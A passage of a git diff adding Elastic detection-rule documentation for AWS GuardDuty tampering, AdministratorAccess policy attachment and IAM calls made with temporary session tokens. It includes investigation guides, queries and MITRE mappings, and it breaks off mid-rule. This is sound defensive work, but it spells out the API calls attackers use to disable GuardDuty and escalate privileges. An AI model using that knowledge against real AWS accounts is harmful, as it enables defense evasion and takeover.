logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS GuardDuty +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Detector Deletion* + + +Amazon GuardDuty is a continuous threat detection service that analyzes CloudTrail, DNS, and VPC Flow Logs to identify malicious activity and compromised resources. Deleting a GuardDuty detector stops this monitoring entirely and permanently removes all historical findings for the affected AWS account. This rule detects successful `DeleteDetector` API calls, which may represent an attacker attempting to impair defenses and evade detection. Such actions should be rare and always performed under controlled administrative change processes. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who initiated the deletion. + - Verify whether this principal normally performs GuardDuty configuration or administrative tasks. + +- **Review request context** + - Check `aws.cloudtrail.request_parameters` and `cloud.region` to confirm the targeted GuardDuty detector and scope of impact. + - Determine whether multiple detectors or member accounts were affected (especially in delegated admin organizations). + +- **Analyze source and access patterns** + - Review `source.ip`, `user_agent.original` and `source.geo` fields for anomalous or previously unseen access locations or automation clients. + - Check whether the deletion occurred outside standard maintenance windows or during a concurrent suspicious activity window. + +- **Correlate with preceding or related activity** + - Search for earlier GuardDuty configuration changes: + - `StopMonitoringMembers`, `DisassociateMembers`, or `DeleteMembers` + - IAM role or policy modifications reducing GuardDuty privileges + - Look for other defense evasion indicators such as CloudTrail suspension, Security Hub configuration changes, or disabling of AWS Config rules. + +- **Review historical GuardDuty findings** + - Examine prior GuardDuty alerts and findings (if still retrievable) to determine whether the deletion followed significant detection activity. + - Use centralized logs or security data lakes to recover findings removed from the console. + + +*False positive analysis* + + +- **Authorized administrative actions** + - Verify whether the deletion corresponds to legitimate account decommissioning, region cleanup, or migration activity. +- **Automation or IaC** + - GuardDuty may be disabled temporarily during infrastructure provisioning or teardown in automated environments. + Confirm via CI/CD logs or Infrastructure-as-Code templates. +- **Organizational configuration changes** + - Large organizations might consolidate GuardDuty under a delegated administrator account, causing detectors to be deleted in member accounts. + Validate these actions against security architecture changes. + + +*Response and remediation* + + +- **Containment and restoration** + - If unauthorized, immediately re-enable GuardDuty in the affected account and region using the `CreateDetector` API or AWS console. + - Verify that findings aggregation and member account associations are restored to expected configurations. + +- **Investigation** + - Review CloudTrail for related privilege escalation or resource tampering events around the deletion time. + - Assess whether any attacker activity occurred during the monitoring gap between deletion and restoration. + +- **Recovery and hardening** + - Restrict `guardduty:DeleteDetector` permissions to a limited administrative role. + - Implement AWS Config rules or Security Hub controls to alert on changes to GuardDuty detectors or configuration states. + - Enforce least privilege IAM policies, ensuring operational automation cannot disable GuardDuty outside maintenance workflows. + - Document approved GuardDuty maintenance activities and correlate them with change tickets for traceability. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: guardduty.amazonaws.com + and event.action: DeleteDetector + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-guardduty-member-account-manipulation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-guardduty-member-account-manipulation.asciidoc new file mode 100644 index 0000000000..005e6812df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-guardduty-member-account-manipulation.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-21-aws-guardduty-member-account-manipulation]] +=== AWS GuardDuty Member Account Manipulation + +Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DisassociateFromAdministratorAccount.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteMembers.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_StopMonitoringMembers.html +* https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS GuardDuty +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Member Account Manipulation* + + +In AWS Organizations with GuardDuty enabled, a delegated administrator account receives and aggregates security findings from all member accounts. This centralized visibility is critical for detecting threats across the organization. Adversaries who compromise a member account may attempt to break this relationship to operate without triggering alerts visible to the security team. + +This rule detects several API actions that manipulate GuardDuty member relationships: +- `DisassociateFromMasterAccount` / `DisassociateFromAdministratorAccount`: Member account breaks its connection to the administrator +- `DeleteMembers`: Administrator removes member accounts from GuardDuty +- `StopMonitoringMembers`: Administrator stops monitoring specific member accounts without fully removing them +- `DeleteInvitations`: Member account deletes pending invitations, preventing association + +These actions are extremely rare in normal operations and can indicate either a compromised account or an attacker preparing to disable GuardDuty entirely. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who performed the action. + - Determine whether the action originated from a member account (disassociation) or the administrator account (deletion/stop monitoring). + +- **Review request context** + - Check `aws.cloudtrail.request_parameters` to identify which member accounts were affected. + - Determine the scope: single account or multiple accounts targeted. + +- **Analyze source and access patterns** + - Review `source.ip` and `user_agent.original` for anomalous access patterns. + - Check if the action occurred outside normal business hours or maintenance windows. + +- **Correlate with related activity** + - Search for subsequent `DeleteDetector` API calls in the affected member accounts. + - Look for other defense evasion indicators: CloudTrail modifications, Config rule deletions, Security Hub changes. + - Check for privilege escalation or credential access events preceding this action. + +- **Verify business justification** + - Confirm with the identified user or team whether there was a legitimate organizational change. + - Check for related change tickets or migration documentation. + + +*False positive analysis* + + +- **Organizational restructuring** + - Member relationships may change during account migrations or delegated administrator transitions. + - Validate against documented organizational changes. + +- **Account decommissioning** + - Accounts being retired may be removed from GuardDuty before closure. + - Confirm this aligns with account lifecycle management processes. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, immediately re-associate the affected member accounts with the administrator. + - For `StopMonitoringMembers`, use `StartMonitoringMembers` to restore visibility. + +- **Investigation** + - Audit the affected member accounts for suspicious activity during the visibility gap. + - Review CloudTrail for any actions taken while GuardDuty monitoring was disrupted. + +- **Hardening** + - Restrict `guardduty:DisassociateFromAdministratorAccount`, `guardduty:DeleteMembers`, and related permissions. + - Use SCPs to prevent member accounts from disassociating from GuardDuty administrators. + - Implement Security Hub controls to detect changes to GuardDuty organization configuration. + + +*Additional information* + +- **https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html[AWS GuardDuty Multi-Account Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "guardduty.amazonaws.com" + and event.action: ( + "DisassociateFromAdministratorAccount" or + "DeleteMembers" or + "StopMonitoringMembers" or + "DeleteInvitations" or + "DisassociateMembers" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-group.asciidoc new file mode 100644 index 0000000000..e8312330df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-group.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-group]] +=== AWS IAM AdministratorAccess Policy Attached to Group + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to user groups the compromised user account belongs to. This rule looks for use of the IAM AttachGroupPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user group. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachGroupPolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to Group* + + +The AWS-managed `AdministratorAccess` policy grants full administrative privileges across all AWS services. +When attached to a group, all group members inherit this access, often unintentionally broadening the blast radius of a compromise. +Adversaries can exploit `iam:AttachGroupPolicy` permissions to escalate privileges or establish persistence by attaching this policy to an existing user group. + + +*Possible investigation steps* + + +- **Identify the affected group and calling principal.** + Review `aws.cloudtrail.user_identity.arn` (caller) and `aws.cloudtrail.request_parameters.groupName` (target group). + Validate whether this aligns with legitimate change management or automation workflows. + +- **Review group membership.** + Enumerate current members using `aws iam get-group`. + Determine whether unauthorized users could have gained administrative access as a result. + +- **Inspect CloudTrail details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields for anomalies. + Compare with historical operations by the same principal. + +- **Correlate related IAM activity.** + Search for adjacent events such as `AddUserToGroup`, `CreateUser`, or `AttachUserPolicy`. + These may indicate chained privilege escalation. + +- **Assess propagation of privileges.** + If the group has many members or is linked to cross-account roles, the impact may extend beyond a single user. + Document all affected identities for containment. + + +*False positive analysis* + + +- **Intentional access updates.** + Policy attachment may occur during legitimate administrative provisioning. Confirm via ticketing systems. +- **Automation or compliance tasks.** + Some environments use centralized scripts to attach AdministratorAccess temporarily. Validate through automation logs. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy from the affected group (`aws iam detach-group-policy`). +- Review and limit group membership. Temporarily remove non-essential users or disable access for impacted accounts. +- Rotate credentials for users who inherited admin privileges from the attachment. +- Enable MFA on all impacted accounts. + +**Evidence preservation** +- Export the triggering `AttachGroupPolicy` event and related CloudTrail entries ±30 minutes from the alert. +- Preserve AWS Config and GuardDuty records to support forensic analysis. + +**Scoping and investigation** +- Review additional IAM operations from the same caller (`CreateAccessKey`, `AttachRolePolicy`, `UpdateAssumeRolePolicy`). +- Identify whether new groups or roles were created shortly before or after the event. +- Check for subsequent API activity by newly privileged users (for example, S3, EC2, or IAM modifications). + +**Recovery and hardening** +- Reinforce least privilege, avoid assigning `AdministratorAccess` to groups. +- Use role-based access control with scoped permissions. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Implement SCPs at the organization level to restrict direct `AdministratorAccess` attachments. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation.. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachGroupPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-role.asciidoc new file mode 100644 index 0000000000..520a17f54e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-role.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-role]] +=== AWS IAM AdministratorAccess Policy Attached to Role + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised IAM roles. This rule looks for use of the IAM AttachRolePolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM role. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachRolePolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to Role* + + +The `AdministratorAccess` managed policy grants unrestricted privileges. +When attached to a role, it can enable privilege escalation or persistence, especially if the role is assumable by other accounts or services. +This rule detects `AttachRolePolicy` events where the `policyName` is `AdministratorAccess`. + + +*Possible investigation steps* + + +- **Identify both identities.** + Determine the calling user or role (`aws.cloudtrail.user_identity.arn`) and the target role (`aws.cloudtrail.request_parameters.roleName`). + Validate whether this change aligns with intended administrative actions. + +- **Review the target role’s trust policy.** + Examine who can assume the role (`AssumeRolePolicyDocument`). + If the role is assumable by external accounts, this may indicate a potential persistence or lateral movement path. + +- **Review CloudTrail details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields for anomalies. + Compare with historical operations by the same principal. + +- **Correlate with adjacent IAM events.** + Look for `UpdateAssumeRolePolicy`, `CreateAccessKey`, or `PassRole` calls. + These often accompany privilege escalation activity. + +- **Inspect downstream activity.** + Query CloudTrail for recent `AssumeRole` calls for the target role — determine if the newly elevated permissions were used. + + +*False positive analysis* + + +- **Delegated role management.** + Cloud administrators may legitimately grant temporary AdministratorAccess for troubleshooting. Confirm through tickets or change logs. +- **Automation or service-linked roles.** + Some services attach policies automatically for setup; verify whether the target is a service-linked role. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy. Remove the `AdministratorAccess` policy from the target role. +- Restrict access. Temporarily revoke the caller’s IAM privileges until the legitimacy of the action is confirmed. +- Audit trust policies. Review the role’s trust relationships to ensure only approved principals can assume it. +- Rotate credentials for any principals who assumed the affected role during the period of elevated privileges. + +**Evidence preservation** +- Export the triggering `AttachRolePolicy` event and related CloudTrail entries ±30 minutes from the alert. +- Preserve AWS Config snapshots and GuardDuty findings for traceability. + +**Scoping and investigation** +- Identify if the elevated role was subsequently assumed. + Correlate by matching `aws.cloudtrail.eventName:AssumeRole` with the target role ARN. +- Search for other recent IAM policy attachments or modifications by the same actor or IP. + +**Recovery and hardening** +- Apply least privilege policies; limit who can attach or modify administrative policies. +- Enforce IAM Conditions such as `aws:PrincipalArn` or `aws:ResourceTag` to limit policy attachment scope. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Implement SCPs at the organization level to restrict direct `AdministratorAccess` attachments. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation.. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachRolePolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..d7c2dd3d78 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-user.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-user]] +=== AWS IAM AdministratorAccess Policy Attached to User + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachUserPolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to User* + + +The AWS-managed `AdministratorAccess` policy grants full access to all AWS services and resources. +When attached to a user, it effectively elevates that user to full administrative privileges. +An adversary with `iam:AttachUserPolicy` permissions can abuse this operation to escalate privileges or maintain persistence. +This rule detects `AttachUserPolicy` events where the attached policy name is `AdministratorAccess`. + + +*Possible investigation steps* + + +- **Validate intent and context.** + Identify the calling user (`aws.cloudtrail.user_identity.arn`) and the target IAM user (`aws.cloudtrail.request_parameters.userName`). + Confirm whether this was an intentional administrative action, part of provisioning automation, or a potential privilege escalation. + +- **Review CloudTrail event details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields. + Compare to historical login or automation behavior. Unrecognized IPs, non-SDK user agents, or new regions may indicate misuse. + +- **Correlate with related IAM activity.** + Search CloudTrail for additional IAM events around the same time (`CreateUser`, `CreateAccessKey`, `AttachGroupPolicy`, `PutUserPolicy`, etc.) that could indicate lateral movement or persistence attempts. + +- **Review the target user’s permissions.** + Determine if the target user already had elevated privileges or if this represents a meaningful privilege increase. + Check for new API calls from the target user post-attachment, especially `CreateAccessKey`, `UpdateAssumeRolePolicy`, or S3 access attempts. + +- **Investigate associated entities.** + Look for other alerts tied to the same caller or target within the past 48 hours to identify potential correlated activity. + + +*False positive analysis* + + +- **Legitimate administrative change.** + Policy attachments may be expected during provisioning or troubleshooting. Validate through change management records. +- **Authorized automation.** + Some CI/CD pipelines or identity automation systems temporarily attach this policy. Review automation logs and intended IAM behavior. +- **Delegated admin scenarios.** + Verify if the calling user or role is part of a delegated IAM administration group. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy. Remove the `AdministratorAccess` policy from the affected IAM user immediately (`aws iam detach-user-policy`). +- Rotate credentials. Rotate passwords and access keys for both the caller and target users. +- Restrict IAM permissions. Temporarily remove `iam:AttachUserPolicy` privileges from non-administrative roles during scoping. +- Enable or confirm MFA for affected accounts. + +**Evidence preservation** +- Export related `AttachUserPolicy` CloudTrail events ±30 minutes from the alert to a secure evidence bucket. +- Preserve GuardDuty findings and AWS Config snapshots for correlation. + +**Scoping and investigation** +- Search CloudTrail for subsequent use of the affected user’s credentials. + Look for newly created keys, S3 access, or changes to IAM trust policies. +- Review other accounts for similar policy attachment attempts from the same user or IP. + +**Recovery and hardening** +- Reinforce least privilege by granting only role-based admin access instead of direct user-level AdministratorAccess. +- Implement IAM service control policies (SCPs) to prevent attachment of `AdministratorAccess` except for trusted roles. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Regularly audit IAM policy attachments through AWS Config or CloudFormation drift detection. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]:** for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-api-calls-via-temporary-session-tokens.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-api-calls-via-temporary-session-tokens.asciidoc new file mode 100644 index 0000000000..836bc9017b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-api-calls-via-temporary-session-tokens.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-21-aws-iam-api-calls-via-temporary-session-tokens]] +=== AWS IAM API Calls via Temporary Session Tokens + +Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Data Source: AWS STS +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM API Calls via Temporary Session Tokens* + + +Temporary session credentials in AWS (identified by access keys beginning with "ASIA") are typically short-lived tokens +issued by the AWS Security Token Service (STS). While they are legitimate and often used by developers or automation pipelines, +their use in direct IAM management or privilege modification is highly unusual and may indicate credential misuse. + +Attackers who compromise IAM users, roles, or federated identities can obtain session tokens to blend in with normal operations. +They may then execute sensitive IAM API actions such as `CreateAccessKey`, `PutUserPolicy`, or `UpdateAssumeRolePolicy` to +establish persistence, escalate privileges, or disable protections. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine the originating user or role. + - Check `event.original` if ingested, look for `sessionCredentialFromConsole: true`. If this is present, the temporary session token was created as part of a legitimate console login session and this alert can be ignored. + - Examine `aws.cloudtrail.user_identity.session_context.mfa_authenticated` — absence of MFA may indicate token misuse. + +- **Analyze the API context** + - Review `event.action` and `aws.cloudtrail.request_parameters` for the exact IAM operation performed. + - Identify whether the action modifies roles, user policies, trust relationships, or credentials. + - 